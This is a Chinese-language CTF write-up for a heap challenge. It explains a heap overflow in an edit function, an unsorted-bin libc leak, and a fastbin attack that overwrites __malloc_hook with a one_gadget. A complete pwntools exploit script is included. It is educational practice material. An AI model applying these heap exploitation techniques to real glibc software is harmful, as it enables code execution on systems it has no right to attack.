查看一下保护机制
Arch: amd64-64-little RELRO: Full RELRO stack: Canary found NX: NX enabled PIE: PIE enabled
|
FULL RELRO要注意一下
ida反编译一下
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v4;
v4 = sub_B70(a1, a2, a3); while ( 1 ) { menu(); switch ( choice() ) { case 1LL: add(v4); break; case 2LL: edit(v4); break; case 3LL: delete(v4); break; case 4LL: print(v4); break; case 5LL: return 0LL; default: continue; } } }
|
需要留意的是释放堆块的时候 指针也置零了 没有办法uaf
但是edit可以进行堆溢出
题目docker环境为16.04 那么显而易见 有输出函数以及堆溢出的机会
这里用到unsortedbin泄露基址
from pwn import* context.log_level = "debug"
io = remote("node4.buuoj.cn",25931) elf = ELF("./pwn") libc = ELF("./libc")
def add(size): io.recvuntil("Command:") io.sendline(b"1") io.recvuntil("Size:") io.sendline(str(size)) io.recv()
def edit(index,size,payload): io.recvuntil("Command:") io.sendline(b"2") io.recvuntil("Index:") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content:") io.sendline(payload)
def delete(index): io.recvuntil("Command:") io.sendline(b"3") io.recvuntil("Index:") io.sendline(str(index))
def show(index): io.recvuntil("Command:") io.sendline(b"4") io.recvuntil("Index:") io.sendline(str(index))
|
先申请一个chunk0 用于堆溢出覆盖chunk1的size域 从而使chunk1和chunk2合并
add(0x18) add(0x68) add(0x68) add(0x20) payload = cyclic(0x18)+b"\xe1" edit(0,len(payload),payload)
|
gdb看一下此时堆块结构
可以看到已经成功合并了chunk1和chunk2
此时我们free掉chunk1
该合并堆块就会进入到unsortedbin
此时其fd和bk就指向了main_arena+88
我们如果再申请一个0x68大小的chunk
此时bin将会把前半部分的堆块分配出来
于是fd和bk的内容我们就可以通过print新申请的堆块打印出来
add(0x68) show(2) io.recvuntil("Content:") addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
|
还差一点 要如果才能确定偏移 从而计算出libc基址
这里我们进行gdb动调 我们需要求出main_arena+88和libc基址的偏移
则可求得 偏移 = 0x7f35f3b9bb78-0x7f35f37d7000
由于开启了FULL RELRO 我们并没有办法篡改got表
但是此时是ubuntu16.04版本环境 我们想到了使用malloc_hook的攻击方法
libc_addr = addr - (0x7fc2d9938b78-0x7fc2d9574000) malloc_hook = libc_addr+libc.sym["__malloc_hook"] system_addr = libc_addr + libc.sym['system']
|
此时我们再次申请一个大小为0x68的chunk 它会分配到剩下一半的unsortedbin的空间
但是你要注意到 chunk2的指针不是还没被置零吗 chunk2和我们新申请到的chunk指向了同一片空间
这不就可以做到uaf吗 于是我们再次释放chunk2 然后编辑chunk4的内容 覆盖chunk2的fd域 就可以使我们目标地址串连到fastbin上
add(0x68) delete(2) edit(4,len(p64(malloc_hook)),p64(malloc_hook-0x23))
|
此时我们连续申请两个堆块 第二个堆块就是分配到对应地址的空间
此时我们编辑第二个堆块 覆盖malloc_hook为onegadget地址
这样我们在申请新chunk时系统调用malloc函数时就会调用onegadget
add(0x68) add(0x68) onegadget = 0x4526a+libc_addr payload = cyclic(0x8+0xb)+p64(onegadget) edit(5,len(payload),payload) add(0x30) io.interactive()
|
完整exp:
from pwn import* context.log_level = "debug" io = process("./pwn")
elf = ELF("./pwn") libc = ELF("./libc")
def add(size): io.recvuntil("Command:") io.sendline(b"1") io.recvuntil("Size:") io.sendline(str(size)) io.recv()
def edit(index,size,payload): io.recvuntil("Command:") io.sendline(b"2") io.recvuntil("Index:") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content:") io.sendline(payload)
def delete(index): io.recvuntil("Command:") io.sendline(b"3") io.recvuntil("Index:") io.sendline(str(index))
def show(index): io.recvuntil("Command:") io.sendline(b"4") io.recvuntil("Index:") io.sendline(str(index))
add(0x18) add(0x68) add(0x68) add(0x20) payload = cyclic(0x18)+b"\xe1" edit(0,len(payload),payload) delete(1) add(0x68) show(2) io.recvuntil("Content:") addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) libc_addr = addr - (0x7fc2d9938b78-0x7fc2d9574000) malloc_hook = libc_addr+libc.sym["__malloc_hook"] system_addr = libc_addr + libc.sym['system'] add(0x68) delete(2) edit(4,len(p64(malloc_hook)),p64(malloc_hook-0x23)) add(0x68) add(0x68) onegadget = 0x4526a+libc_addr payload = cyclic(0x8+0xb)+p64(onegadget) edit(5,len(payload),payload) add(0x30) io.interactive()
|